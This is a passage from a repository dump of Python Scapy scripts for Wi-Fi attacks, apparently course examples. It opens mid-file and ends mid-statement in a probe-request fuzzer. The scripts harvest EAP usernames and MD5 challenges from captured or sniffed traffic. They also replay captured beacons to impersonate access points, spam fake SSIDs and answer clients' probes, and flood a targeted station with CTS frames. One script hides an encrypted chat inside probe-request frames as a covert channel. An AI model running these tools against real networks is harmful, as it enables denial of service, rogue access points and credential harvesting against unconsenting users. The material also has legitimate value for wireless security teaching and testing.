[] 21 | checked = [] 22 | bssids = defaultdict(list) 23 | bssids.update({'mac':"00:00:00:00:00:00", 'net':'testing'}) 24 | 25 | def eapol_header(packet): 26 | global USERID 27 | global USER 28 | global USERNAME 29 | for pkt in packet: 30 | get_bssid(pkt) 31 | try: 32 | if pkt.haslayer(EAP): 33 | if pkt[EAP].type==1: # Identified an EAP authentication 34 | USERID=pkt[EAP].id 35 | if pkt[EAP].code == 2: 36 | USER=pkt[EAP].identity 37 | 38 | # EAP-MD5 - Credit to EAPMD5crack for logic assistance 39 | if pkt[EAP].type==4: # Found EAP-MD5 40 | EAPID=pkt[EAP].id 41 | if pkt[EAP].code == 1: 42 | md5challenge[EAPID]=pkt[EAP].load[1:17] 43 | network = bssids[pkt.addr2] 44 | print " EAP-MD5 Authentication Detected" 45 | print " SSID: " + (network) 46 | print " Auth ID: " + str(USERID) 47 | print " User ID: " + str(USER) 48 | print " MD5 Challenge: " + md5challenge[EAPID].encode("hex") 49 | addtolist(USER) 50 | elif packets[EAP].code == 2: 51 | md5response[EAPID]=packets[EAP].load[1:17] 52 | print "MD5 Response: " + md5response[EAPID].encode("hex") 53 | 54 | # EAP-PEAP 55 | elif pkt[EAP].type==25: # Found EAP-PEAP 56 | EAPID=pkt[EAP].id 57 | if pkt[EAP].code == 2: 58 | # reverse as it is the destination mac (Client->Server Identify) 59 | network = bssids[pkt.addr1] 60 | print " EAP-PEAP Authentication Detected" 61 | print " SSID: " + (network) 62 | print" Auth ID: " + str(USERID) 63 | print " User ID: " + str(USER) 64 | addtolist(USER) 65 | 66 | # EAP-TLS 67 | elif pkt[EAP].type==1: # Found EAP-TLS Response Identity 68 | EAPID=pkt[EAP].id 69 | if pkt[EAP].code == 1: 70 | network = bssids[pkt.addr2] 71 | USER = str(USER).strip("{}") 72 | if USER is not '': 73 | print " EAP-TLS Response ID Detected" 74 | print " SSID: " + (network) 75 | print " Auth ID: " + str(USERID) 76 | print " User ID: " + str(USER) 77 | addtolist(USER) 78 | 79 | elif pkt[EAP].type==13: # Found EAP-TLS 80 | EAPID=pkt[EAP].id 81 | if pkt[EAP].code == 2: 82 | network = bssids[pkt.addr2] 83 | print " EAP-TLS 2 Authentication Detected" 84 | except: 85 | print " Something wasn't able to parse correctly, exection will continue.\n" 86 | 87 | def get_bssid(pkt): 88 | global bssids 89 | if pkt.haslayer(Dot11): 90 | if pkt.type==0 and pkt.subtype==8: 91 | for item in bssids.values(): 92 | if pkt.info in item: 93 | break 94 | elif pkt.addr2 in item: 95 | break 96 | else: 97 | bssids.update({pkt.addr2:pkt.info}) 98 | 99 | def addtolist(USER): 100 | UserList.append(USER) 101 | global checked 102 | checked = [] 103 | for item in UserList: 104 | if item not in checked: 105 | checked.append(item) 106 | 107 | 108 | def SetChannel(channel): 109 | cmd0 = 'ifconfig %s up >/dev/null 2>&1' % (intfmon) 110 | cmd1 = 'iw dev %s set channel %s >/dev/null 2>&1' % (intfmon, channel) 111 | try: 112 | os.system(cmd0) 113 | os.system(cmd1) 114 | print "Setting %s to channel: %s" %(intfmon,channel) 115 | except: 116 | print "Error setting channel for %s" %intfmon 117 | 118 | # Main and EAPOL-HEADER 119 | if pcap_file is not None: 120 | try: 121 | print " Searching for EAPOL packets from PCAP", pcap_file 122 | PCAP_EXTRACTED=rdpcap(pcap_file) 123 | eapol_header(PCAP_EXTRACTED) 124 | except: 125 | print " Issue reading PCAP.\n" 126 | sys.exit(0) 127 | else: 128 | try: 129 | SetChannel(channel) 130 | print " Sniffing for EAPOL packets on " + intfmon + " channel " + channel + "... Ctrl+C to exit" 131 | sniff(iface=intfmon, prn=eapol_header) 132 | print " User requested interrupt, cleaning up monitor interface and exiting...\n" 133 | except: 134 | print " Exiting because exception received!" 135 | sys.exit(0) 136 | 137 | print " Unique Harvested Users:" 138 | print checked 139 | print "\n" 140 | 141 | -------------------------------------------------------------------------------- /ejemplo33.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*-​ 3 | import time,sys,datetime,re,csv,os,errno 4 | import ctypes,ctypes.util 5 | import threading 6 | from threading import Thread, Lock 7 | from subprocess import Popen, PIPE 8 | from signal import SIGINT, signal 9 | import logging 10 | import logging.handlers 11 | from netaddr import * 12 | from netaddr.core import NotRegisteredError 13 | 14 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 15 | from scapy.all import * 16 | 17 | # define variables 18 | intfparent='wlan1' 19 | intfmon='mon0' 20 | workdir='./capture' 21 | csvsummary= workdir + '/' + 'ap_summary.csv' 22 | channel='' 23 | 24 | clients = [] 25 | uni = 0 26 | mach = [] 27 | manuf ='' 28 | ap_list = [] 29 | ap_plist = [] 30 | sysloglevel=4 ## (debug)7------0(not syslog) 31 | first_pass = 1 32 | lock = Lock() 33 | DN = open(os.devnull, 'w') 34 | 35 | # Scapy packet handler function 36 | def PacketHandler(pkt): 37 | global ap_plist, ap_list,csvwriter 38 | if pkt.haslayer(Dot11): 39 | if pkt.haslayer(Dot11ProbeReq): ## probe request 40 | mac = str(pkt.addr2) 41 | if pkt.haslayer(Dot11Elt): 42 | if pkt.ID == 0: 43 | ssid = pkt.info 44 | if ssid and ssid not in clients: 45 | manuf = get_oui(mac) 46 | clients.append([mac,manuf,ssid]) 47 | print "CLIENT MAC: %s (%s) PROBING FOR AP: %s" %(mac,manuf,ssid) 48 | 49 | elif pkt.haslayer(Dot11ProbeResp): ## probe responese 50 | bssid = pkt.addr3 51 | if bssid not in ap_plist: 52 | ap_plist.append(bssid) 53 | manuf = get_oui(bssid) 54 | capability = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}") 55 | crypto = set() 56 | p = pkt[Dot11Elt] 57 | while isinstance(p, Dot11Elt): 58 | if p.ID == 0: 59 | essid = p.info 60 | elif p.ID == 3: 61 | if len(p.info) == 1: 62 | channel = int(ord(p.info)) 63 | else: 64 | channel=0 65 | elif p.ID == 48: 66 | crypto.add("WPA2") 67 | elif p.ID == 221 and p.info.startswith('\x00P\xf2\x01\x01\x00'): 68 | crypto.add("WPA") 69 | p = p.payload 70 | if not crypto: 71 | if 'privacy' in capability: 72 | crypto.add("WEP") 73 | else: 74 | crypto.add("OPN") 75 | 76 | print "AP ESSID: %s BSSID: %s (%s) ENC: %s CHANNEL: %s - PROBE RESPONSE SAVED!" %(essid,bssid,manuf,' / '.join(crypto),channel) 77 | filename=workdir + '/' + pkt.info + '_' + bssid.replace(':','') + '.cap' 78 | writer = PcapWriter(filename, append=True) 79 | writer.write(pkt) 80 | writer.close() 81 | 82 | elif pkt.type == 0 and pkt.subtype == 8: ## beacon 83 | bssid = pkt.addr3 84 | if bssid not in ap_list: 85 | ap_list.append(bssid) 86 | manuf = get_oui(bssid) 87 | capability = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}") 88 | crypto = set() 89 | p = pkt[Dot11Elt] 90 | while isinstance(p, Dot11Elt): 91 | if p.ID == 0: 92 | essid = p.info 93 | elif p.ID == 3: 94 | if len(p.info) == 1: 95 | channel = int(ord(p.info)) 96 | else: 97 | channel=0 98 | elif p.ID == 48: 99 | crypto.add("WPA2") 100 | elif p.ID == 221 and p.info.startswith('\x00P\xf2\x01\x01\x00'): 101 | crypto.add("WPA") 102 | p = p.payload 103 | if not crypto: 104 | if 'privacy' in capability: 105 | crypto.add("WEP") 106 | else: 107 | crypto.add("OPN") 108 | hidden_essid = (not essid) 109 | if hidden_essid: essid = 'HiddenEssid!' 110 | print "AP ESSID: %s BSSID: %s (%s) ENC: %s CHANNEL: %s - BEACON SAVED!" %(essid, bssid, manuf, ' / '.join(crypto), channel) 111 | filename=workdir + '/' + pkt.info + '_' + bssid.replace(':','') + '.cap' 112 | writer = PcapWriter(filename, append=True) 113 | csvwriter.writerow([essid,bssid,manuf,'/'.join(crypto),channel]) 114 | writer.write(pkt) ; writer.close() 115 | 116 | 117 | def endsniff(d=False): 118 | return d 119 | 120 | 121 | def get_oui(mac): 122 | global manuf 123 | maco = EUI(mac) 124 | try: 125 | manuf = maco.oui.registration().org.replace(',',' ') 126 | except NotRegisteredError: 127 | manuf = "Not available" 128 | return manuf 129 | 130 | 131 | def ProbeReqBroadcast(): 132 | sendp(RadioTap()/Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2=RandMAC(), addr3="ff:ff:ff:ff:ff:ff")/Dot11ProbeReq()/Dot11Elt(ID="SSID", info=""), iface=intfmon, count=10) 133 | 134 | 135 | def ProbeReq(probessid,dst,bssid): 136 | src='00:00:de:ad:be:ef' ## source ip from packets 137 | dst='ff:ff:ff:ff:ff:ff' ## Destination address for beacons and probes 138 | bssid='00:11:22:33:44:55' ## BSSID MAC address for fake AP 139 | count=10 140 | param = Dot11ProbeReq() 141 | essid = Dot11Elt(ID='SSID',info=probessid, len=len(probessid)) 142 | dsset = Dot11Elt(ID='DSset',info='\x01') 143 | pkt = RadioTap()/Dot11(type=0,subtype=4,addr1=dst,addr2=src,addr3=bssid)/param/essid/Dot11EltRates()/dsset 144 | print '[*] 802.11 Probe Request: SSID=[%s], count=%d' % (probessid,count) 145 | 146 | try: 147 | sendp(pkt,count=count,inter=0.1,verbose=0) 148 | except: 149 | raise 150 | 151 | 152 | def InitMon(): 153 | # Check if monitor device exists 154 | if not os.path.isdir("/sys/class/net/" + intfmon): 155 | if not os.path.isdir("/sys/class/net/" + intfparent): 156 | print "WiFi interface %s does not exist! Cannot continue!" %(intfparent) 157 | exit() 158 | else: 159 | # create monitor interface using iw 160 | cmd = 'iw dev %s interface add %s type monitor >/dev/null 2>&1' % (intfparent, intfmon) 161 | cmd2 = 'ifconfig %s up >/dev/null 2>&1' % (intfmon) 162 | try: 163 | os.system(cmd) 164 | time.sleep(0.3) 165 | os.system(cmd2) 166 | except: 167 | raise 168 | else: 169 | print "Monitor %s exists! Nothing to do, just continuing..." %(intfmon) 170 | 171 | 172 | def stop(signal, frame): 173 | print ' CTRL+C pressed, exiting...' 174 | endsniff(True) 175 | sys.exit('Closing') 176 | 177 | 178 | def LoadAPlist(): 179 | try: 180 | ifile = open(csvsummary, "r") 181 | csvreader = csv.reader(ifile, delimiter=',', quotechar='"', quoting=csv.QUOTE_NONE,escapechar='\\') 182 | for row in csvreader: 183 | ap_list.append(row[1]) 184 | ifile.close() 185 | except Exception, e: 186 | return 187 | 188 | 189 | def channel_hop(channel=''): 190 | global intfmon, first_pass 191 | channelNum = 0 192 | err = None 193 | 194 | while 1: 195 | if channel: 196 | with lock: 197 | monchannel = channel 198 | else: 199 | channelNum +=1 200 | if channelNum > 14: 201 | channelNum = 1 202 | with lock: 203 | first_pass = 0 204 | with lock: 205 | monchannel = str(channelNum) 206 | 207 | try: 208 | proc = Popen(['iw', 'dev', intfmon, 'set', 'channel', monchannel], stdout=DN, stderr=PIPE) 209 | except OSError as e: 210 | print '['+R+'-'+W+'] Could not execute "iw"' 211 | os.kill(os.getpid(),SIGINT) 212 | sys.exit(1) 213 | for line in proc.communicate()[1].split('\n'): 214 | if len(line) > 2: # iw dev shouldnt display output unless there's an error 215 | err = 'Channel hopping failed: '+ line 216 | if channel: 217 | time.sleep(.05) 218 | else: 219 | if first_pass == 1: 220 | time.sleep(1) 221 | continue 222 | 223 | def checkdir(dir): 224 | try: 225 | os.makedirs(dir) 226 | except OSError as e: 227 | if e.errno != errno.EEXIST: 228 | raise 229 | 230 | 231 | ##### Main loop 232 | 233 | # Init monitor mode device 234 | InitMon() 235 | 236 | # Check if workdir exists and create it 237 | checkdir(workdir) 238 | 239 | # Start channel hopping 240 | hop = Thread(target=channel_hop, args=channel) 241 | hop.daemon = True 242 | hop.start() 243 | 244 | # Signal handler init 245 | signal(SIGINT, stop) 246 | 247 | # We need a CSV file to save the summary of captured files 248 | LoadAPlist() 249 | ofile = open(csvsummary, "a") 250 | csvwriter = csv.writer(ofile, delimiter=',', quotechar='"', quoting=csv.QUOTE_NONE,escapechar='\\') 251 | 252 | # We begin to sniff and capture 253 | try: 254 | sniff(iface=intfmon, prn=PacketHandler, stop_filter=endsniff()) 255 | except: 256 | print "Some error avoid sniffing with %s device!" %intfmon 257 | 258 | ofile.close() 259 | -------------------------------------------------------------------------------- /ejemplo34.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*-​ 3 | import os,time, datetime 4 | from datetime import timedelta 5 | import logging 6 | import logging.handlers 7 | from netaddr import * 8 | from netaddr.core import NotRegisteredError 9 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 10 | from scapy.all import * 11 | 12 | # define variables 13 | intfmon='mon0' 14 | workdir='./capture' ## directory where cap files are stored 15 | number2send=1000 ## number of packets to send after selecting AP 16 | verbose=1 ## verbosity level (0-4) 17 | 18 | modify_header=False ## Insert a new radiotap header or use original 19 | boottime = time.time() ## to generate uptime or timestamp 20 | sc = -1 ## first frame sequence counter 21 | channel='1' ## default channel to use 22 | interval=0.1 23 | pcounter=0 24 | bssid = '' 25 | essid = '' 26 | capability='' 27 | crypto = [] 28 | essid = '' 29 | capturetime='' 30 | uptime='' 31 | manuf='' 32 | 33 | 34 | def SetChannel(channel): 35 | cmd = '/usr/sbin/iw dev %s set channel %s >/dev/null 2>&1' % (intfmon, channel) 36 | try: 37 | os.system(cmd) 38 | except: 39 | raise 40 | 41 | 42 | def current_timestamp(): 43 | global bootime 44 | return (time.time() - boottime) * 1000000 45 | 46 | 47 | def next_sc(): 48 | global sc 49 | sc = (sc + 1) % 4096 50 | temp = sc 51 | return temp * 16 # Fragment number -> right 4 bits 52 | 53 | 54 | def get_radiotap_header(): 55 | global channel 56 | radiotap_packet = RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', notdecoded='\x00\x6c' + chr(channel) + '\xc0\x00\xc0\x01\x00\x00') 57 | return radiotap_packet 58 | 59 | 60 | # Parse information inside beacon frame 61 | def ParseBeacon(p): 62 | global capability,crypto,essid,channel,interval,capturetime,uptime,bssid,manuf 63 | 64 | # Get packet encryption and RSN 65 | capability = p.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}") 66 | crypto = set() 67 | elt = p[Dot11Elt] 68 | while isinstance(elt, Dot11Elt): 69 | if elt.ID == 0: 70 | essid = elt.info 71 | elif elt.ID == 3: 72 | channel = int(ord(elt.info)) 73 | elif elt.ID == 48: 74 | crypto.add("WPA2") 75 | elif elt.ID == 221 and elt.info.startswith('\x00P\xf2\x01\x01\x00'): 76 | crypto.add("WPA") 77 | elt = elt.payload 78 | if not crypto: 79 | if 'privacy' in capability: 80 | crypto.add("WEP") 81 | else: 82 | crypto.add("OPN") 83 | 84 | # Get beacon interval value 85 | interval = float(p.beacon_interval) / 1000 86 | 87 | # Get date of captured beacon frame and AP uptime 88 | capturetime=datetime.datetime.fromtimestamp(float(p.time)).strftime('%d-%m-%Y %H:%M:%S') 89 | uptime=str(timedelta(microseconds=p.timestamp)) 90 | 91 | # Get packet BSSID and calculate manufacturer 92 | bssid = p.addr2 93 | manuf = get_oui(bssid) 94 | 95 | 96 | def get_oui(mac): 97 | global manuf 98 | maco = EUI(mac) 99 | try: 100 | manuf = maco.oui.registration().org.replace(',',' ') 101 | except NotRegisteredError: 102 | manuf = "Not available" 103 | return manuf 104 | 105 | 106 | # Show information inside beacon 107 | def ShowBeacon(p): 108 | global capability,crypto,essid,channel,interval,capturetime,uptime,bssid,manuf 109 | 110 | if verbose >= 1: 111 | print("\nScapy command to gen packet:") 112 | print p.command() 113 | 114 | if verbose >= 2: 115 | print("\nPacket structure:") 116 | p.show() 117 | 118 | if verbose >= 3: 119 | print("\nFields parsed in the frame:") 120 | ls(p) 121 | 122 | if verbose >= 3: 123 | print("\nHexdump of frame:") 124 | hexdump(p) 125 | 126 | if verbose >= 4: 127 | print("\nOpening Wireshark...") 128 | wireshark(p) 129 | 130 | print "\nGoing to send %s beacons for BSSID: %s (%s) SSID: %s ENC: %s in Channel: %s [%s][%s] Intval: %s" \ 131 | %(number2send, bssid, manuf, essid, ' / '.join(crypto), channel,capturetime,uptime,interval) 132 | raw_input("\nPress enter to start\n") 133 | 134 | 135 | # Send beacon frame n times 136 | def SendBeacon(p): 137 | global intfmon,interval,number2send 138 | SetChannel(channel) 139 | sendp(p, iface=intfmon, inter=interval, count=number2send) 140 | 141 | 142 | # Update beacon fields with new generated ones 143 | def ModifyBeacon(p): 144 | # Update sequence number 145 | p.SC = next_sc() 146 | 147 | # Update timestamp 148 | p.timestamp = current_timestamp() 149 | 150 | # Insert new radiotap header? 151 | if modify_header: 152 | p=get_radiotap_header()/p.payload 153 | if verbose >=2: 154 | print("\nmodified header:") 155 | print p.command() 156 | return(p) 157 | 158 | 159 | def InitMon(): 160 | # Check if monitor device exists 161 | if not os.path.isdir("/sys/class/net/" + intfmon): 162 | if not os.path.isdir("/sys/class/net/" + intfparent): 163 | print "WiFi interface %s does not exist! Cannot continue!" %(intfparent) 164 | exit() 165 | else: 166 | # create monitor interface using iw 167 | cmd = 'iw dev %s interface add %s type monitor >/dev/null 2>&1' % (intfparent, intfmon) 168 | cmd2 = 'ifconfig %s up >/dev/null 2>&1' % (intfmon) 169 | try: 170 | os.system(cmd) 171 | time.sleep(0.3) 172 | os.system(cmd2) 173 | except: 174 | raise 175 | else: 176 | print "Monitor %s exists! Nothing to do, just continuing..." %(intfmon) 177 | 178 | 179 | ######## Main loop 180 | # Select AP to use 181 | caplist=[] 182 | i=0 183 | 184 | try: 185 | for file in os.listdir(workdir): 186 | if file.endswith(".cap"): 187 | caplist.append(file) 188 | print "%s. %s" %(i,file) 189 | i+=1 190 | except: 191 | print "No files or directory found, exiting!" 192 | exit() 193 | 194 | selected = input("\nSelect file number to use: ") 195 | pcapfile = workdir + '/' + caplist[selected] 196 | pktreader = PcapReader(pcapfile) 197 | print "Reading capture file: %s" %pcapfile 198 | 199 | # Init monitor mode (if necessary) 200 | InitMon() 201 | 202 | # Walk through the PCAP file packets 203 | for p in pktreader: 204 | if p.haslayer(Dot11Beacon): 205 | ParseBeacon(p) 206 | if modify_header and verbose >=2: 207 | print("\noriginal packet:") 208 | print p.command() 209 | ModifyBeacon(p) 210 | ShowBeacon(p) 211 | SendBeacon(p) 212 | quit() 213 | elif p.haslayer(Dot11ProbeResp): 214 | # ParseProbeResp(p) 215 | break 216 | pcounter+=1 217 | 218 | # No result of packet parsing 219 | print "\nNo valid packets in capture file: %s" %pcapfile 220 | 221 | -------------------------------------------------------------------------------- /ejemplo35.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*-​ 3 | import sys,time,signal,logging,argparse,random 4 | from multiprocessing import Process 5 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 6 | from scapy.config import * 7 | from scapy.layers.dot11 import * 8 | from scapy.utils import * 9 | 10 | intfmon='mon0' ## monitor interface 11 | APs = 100 ## number of AP to create 12 | apdictionary="dictionaries/ssid.txt" ## dictionary containing ssid names 13 | verbose=1 ## debug level (0-2) 14 | 15 | mac=RandMAC().upper() 16 | maclist = [] 17 | ssidlist = [] 18 | ftime = time.time() * 1000000 19 | 20 | def uptime(): 21 | microtime = int(round(time.time() * 1000000)) - ftime 22 | return microtime 23 | 24 | def beacon_frame(ssidlist,maclist,intfmon): 25 | while True: 26 | for n in range(len(ssidlist)): 27 | sendp(RadioTap()/ 28 | Dot11(addr1="ff:ff:ff:ff:ff:ff", 29 | addr2=maclist[n], 30 | addr3=maclist[n])/ 31 | Dot11Beacon(cap="ESS", timestamp=uptime())/ 32 | Dot11Elt(ID="SSID", info=ssidlist[n])/ 33 | Dot11Elt(ID="Rates", info='\x82\x84\x0b\x16')/ 34 | Dot11Elt(ID="DSset", info="\x03")/ 35 | Dot11Elt(ID="TIM", info="\x00\x01\x00\x00"), 36 | iface=intfmon, loop=0, verbose=False) 37 | print "Sending beacon for SSID:%s with MAC %s" %(ssidlist[n],maclist[n]) 38 | time.sleep(.102) 39 | 40 | def load_vendor(num_of_aps): 41 | #Generate some mac addresses and shove them in a list 42 | for n in range(num_of_aps): 43 | maclist.append(RandMAC().upper()) 44 | 45 | def load_ssid(num_of_aps): 46 | #Grab some random SSIDs from the wigle list and shove'm in a list 47 | for n in range(num_of_aps): 48 | ssidlist.append(generate_ssid()) 49 | 50 | def generate_ssid(): 51 | try: 52 | #Pull a random SSID from a file with the top 1000 most common SSIDs from https://wigle.net/gps/gps/Stat 53 | ssidlist = random.choice(open(apdictionary).readlines()) 54 | except IOError as ioer: 55 | print "Could not open ssid.txt. Does the file exist? Do you have the correct permissions? {0}: {1}".format(ioer.errno, ioer.strerror) 56 | #Return the SSID from file while stripping the new-line from the output 57 | return ssidlist.replace("\n", "") 58 | 59 | def probe_response(ssid, mac, rates, stamac, intfmon): 60 | sendp(RadioTap(present=18479L)/ 61 | Dot11(addr2=mac, addr3=mac, addr1=stamac, FCfield=8L)/ 62 | Dot11ProbeResp(beacon_interval=102, cap=12548L, timestamp=uptime())/ 63 | Dot11Elt(info=ssid, ID=0)/ 64 | Dot11Elt(info=rates, ID=1)/ 65 | Dot11Elt(info='\x01', ID=3, len=1)/ 66 | Dot11Elt(info='\x00', ID=42, len=1)/ 67 | Dot11Elt(info='\x01\x00\x00\x0f\xac\x02\x02\x00\x00\x0f\xac\x02\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02(\x00', ID=48, len=24)/ 68 | Dot11Elt(info='H`l', ID=50, len=3), iface=intfmon, loop=0, verbose=False) 69 | 70 | def sig_int(sigint, frame): 71 | print("Shutting down....") 72 | sys.exit(0) 73 | 74 | 75 | # Main loop 76 | signal.signal(signal.SIGINT, sig_int) 77 | 78 | #load all of our MACs and SSIDs to spam 79 | load_vendor(APs) 80 | load_ssid(APs) 81 | 82 | #Fork out the beacon frames 83 | Process(target=beacon_frame, args=(ssidlist,maclist,intfmon)).start() 84 | 85 | #Start sniffing for probe request from our previously forked out beacon frames, and grab the ssid, rates, and MAC they are referencing 86 | while True: 87 | ssid = None 88 | rates = None 89 | mac = None 90 | 91 | #start sniffing 92 | p=sniff(iface=intfmon, count=1)[0] 93 | 94 | #If the sniffed packet is a probe request and is sending it to one of our MAC addresses 95 | if p.haslayer(Dot11ProbeReq) and p.addr1 in maclist: 96 | pkt = p.getlayer(Dot11Elt) 97 | mac = p.addr1 98 | 99 | # Start Core Security's code 100 | while pkt: 101 | if pkt.ID == 0: 102 | #ID 0's info portion of a 802.11 packet is the SSID, grab it 103 | ssid = pkt.info 104 | if pkt.ID == 1: 105 | #ID 1's info portion of a 802.11 packet is the supported rates, grab it 106 | rates = pkt.info 107 | pkt = pkt.payload 108 | probe_response(ssid, mac, rates, p.addr2, intfmon) 109 | 110 | -------------------------------------------------------------------------------- /ejemplo36.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import sys, logging,time 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | from scapy.all import * 6 | 7 | intfmon='mon0' 8 | ap='F8:63:94:9A:03:13' 9 | sta='C0:EE:FB:47:E8:06' 10 | duration=60 ## seconds to keep deauthing 11 | subtype=12 ## Frame subtype can be 11:RTS and 12:CTS 12 | verbose=1 ## debug level (0-1) 13 | 14 | 15 | # Start main loop 16 | timestamp=time.time() 17 | print "Starting CTS Attack using (%s) to Station:%s from AP:%s" %(intfmon,sta,ap) 18 | 19 | pkt = RadioTap()/Dot11(type=1,subtype=subtype,addr1=sta,addr2=ap,addr3=ap,ID=32767) 20 | if verbose: 21 | pkt.show() 22 | ls(pkt) 23 | raw_input("Press any key to continue...") 24 | 25 | while time.time() < (timestamp+duration): 26 | sendp(pkt,count=2,iface=intfmon,verbose=verbose,inter=0.1) 27 | -------------------------------------------------------------------------------- /ejemplo37.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*-​ 3 | import threading, time, sys, base64, logging 4 | from Crypto.Cipher import AES 5 | from threading import Thread, Lock 6 | from datetime import datetime 7 | from random import randint 8 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 9 | from scapy.all import * 10 | 11 | verbose=1 12 | maxpayload=64 13 | sc=randint(1,9999) 14 | lastpacketsc=0 15 | bootime=time.time() 16 | count=10 17 | 18 | def chatencrypt(message): 19 | message = username + '~' + message 20 | if len(message) < maxpayload: 21 | message = message.rjust(maxpayload) 22 | else: 23 | message = message[:maxpayload] 24 | encoded = base64.b64encode(cipher.encrypt(message)) 25 | return encoded 26 | 27 | def chatdecrypt(message): 28 | decoded = cipher.decrypt(base64.b64decode(message)) 29 | decoded = decoded.strip() 30 | decoded = decoded.split('~') 31 | return decoded 32 | 33 | def packetSniffer(): 34 | sniff(iface=intfmon, prn=PacketHandler, store=False, lfilter=lambda pkt: (Dot11ProbeReq in pkt)) 35 | return 36 | 37 | def PacketHandler(pkt): 38 | global lastpacketsc 39 | if pkt.addr3.upper() == remote and pkt.SC != lastpacketsc: 40 | lastpacketsc = pkt.SC 41 | suffix='' 42 | if verbose: suffix='(' + pkt.info + ')' 43 | decrypted = chatdecrypt(pkt.info) 44 | print "%s: %s %s" % (decrypted[0],decrypted[1], suffix) 45 | 46 | def PacketSend(chat): 47 | global lastpacketsc 48 | encrypted = chatencrypt(chat) 49 | eltessid = Dot11Elt(ID=0,info=encrypted) 50 | dot11 = Dot11(type=0,subtype=4,addr1=remote, addr2=RandMAC(),addr3=remote) 51 | eltrates = Dot11Elt(ID=1,info="\x82\x84\x8b\x96") 52 | eltwps = Dot11Elt(ID=221,len=9,info="\x00\x50\xF2\x04\x10\x4a\x00\x01\x10") 53 | dsset = Dot11Elt(ID='DSset',info='\x01') 54 | pkt = RadioTap()/dot11/Dot11ProbeReq()/eltessid/eltwps/eltrates/dsset 55 | pkt.SC = next_sc() ## Update sequence number 56 | pkt.timestamp = current_timestamp() ## Update packet timestamp 57 | lastpacketsc = pkt.SC ## Save this packet to not repeat showing it 58 | sendp(pkt, iface=intfmon, verbose=0, count=count) ## Send packet several times 59 | 60 | suffix='' 61 | if verbose: suffix='(' + encrypted + ')' 62 | print "%s: %s %s" %(username,chat,suffix) 63 | 64 | def current_timestamp(): 65 | global bootime 66 | return (time.time() - bootime) * 1000000 67 | 68 | def next_sc(): 69 | global sc 70 | sc = (sc + 1) % 4096 71 | temp = sc 72 | return temp * 16 # Fragment number -> right 4 bits 73 | 74 | def SetChannel(channel): 75 | cmd0 = 'ifconfig %s up >/dev/null 2>&1' % (intfmon) 76 | cmd1 = 'iw dev %s set channel %s >/dev/null 2>&1' % (intfmon, channel) 77 | try: 78 | os.system(cmd0) 79 | os.system(cmd1) 80 | print "Setting %s to channel: %s (%s)" %(intfmon,channel,remote) 81 | except: 82 | print "Error setting channel for %s" %intfmon 83 | 84 | # Main loop 85 | try: 86 | print "===============================================================" 87 | print " SECRET AND HIDDEN CHAT VIA WI-FI COVERT CHANNEL " 88 | print "===============================================================" 89 | print "Welcome to Hidden Wi-Fi Chat! Enter quit() to exit if you wish!" 90 | print "===============================================================" 91 | 92 | # Ask for monitor mode interface 93 | intfmon = raw_input("Enter your monitor interface: ") 94 | if intfmon == '': intfmon='mon0' 95 | 96 | # Define private IRC channel 97 | username = raw_input("Enter your User name or alias: ") 98 | privateirc = raw_input("Define private IRC channel name: ") 99 | privateirc = privateirc.ljust(16, '0') 100 | i=0 ; remote = [] 101 | for i in range(0,6): 102 | letter = privateirc[i] 103 | if i == 5: channel=max(min(11, ord(letter)/10), 1) 104 | remote.append(letter.encode("hex")) 105 | i += 1 106 | remote=':'.join(remote).upper() 107 | 108 | # Cipher suite: never use ECB in strong systems obviously 109 | cipher = AES.new(privateirc,AES.MODE_ECB) 110 | 111 | # Set channel and begin to sniff 112 | SetChannel(channel) 113 | sniffer = Thread(target=packetSniffer) 114 | sniffer.daemon = True 115 | sniffer.start() 116 | 117 | print "Just write and press enter to send!\n" 118 | except KeyboardInterrupt: 119 | sys.stdout.write("\033[F") # Cursor up one line 120 | print "\n" 121 | exit() 122 | 123 | try: 124 | while 1: 125 | chat = raw_input() 126 | if chat != "quit()": 127 | sys.stdout.write("\033[F") # Cursor up one line 128 | if chat != '': 129 | PacketSend(chat) 130 | else: 131 | sys.stdout.write("\033[F") # Cursor up one line 132 | PacketSend('bye!') 133 | exit() 134 | 135 | except KeyboardInterrupt: 136 | sys.stdout.write("\033[F") # Cursor up one line 137 | PacketSend('bye!') 138 | exit() 139 | -------------------------------------------------------------------------------- /ejemplo38.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*-​ 3 | import sys,logging 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | from scapy.all import * 6 | 7 | station = RandMAC() 8 | bssid = '00:40:96:01:02:03' 9 | conf.iface = 'mon0' 10 | apssid = 'DisarmITn0w!!!' 11 | 12 | # Standard 802.11 Probe Request frame to use as base packet 13 | essid = Dot11Elt(ID=0,info=apssid, len=len(apssid)) 14 | channel = Dot11Elt(ID=3, len=1, info="\x01") ## IE channel 1 15 | wps = Dot11Elt(ID=221,len=9,info="\x00\x50\xF2\x04\x10\x4a\x00\x01\x10") 16 | dsset = Dot11Elt(ID='DSset',info='\x01') 17 | 18 | basepkt = RadioTap() 19 | basepkt /= Dot11(type=0,subtype=4,addr1=bssid,addr2=station,addr3=bssid,FCfield=0,SC=0,ID=0) 20 | basepkt /= Dot11ProbeReq()/essid/channel/wps/dsset 21 | 22 | while 1: 23 | # Fuzz on the supported rates element IE, using base packet 24 | # Changes the supported rates after 20 packets 25 | basepkt /= 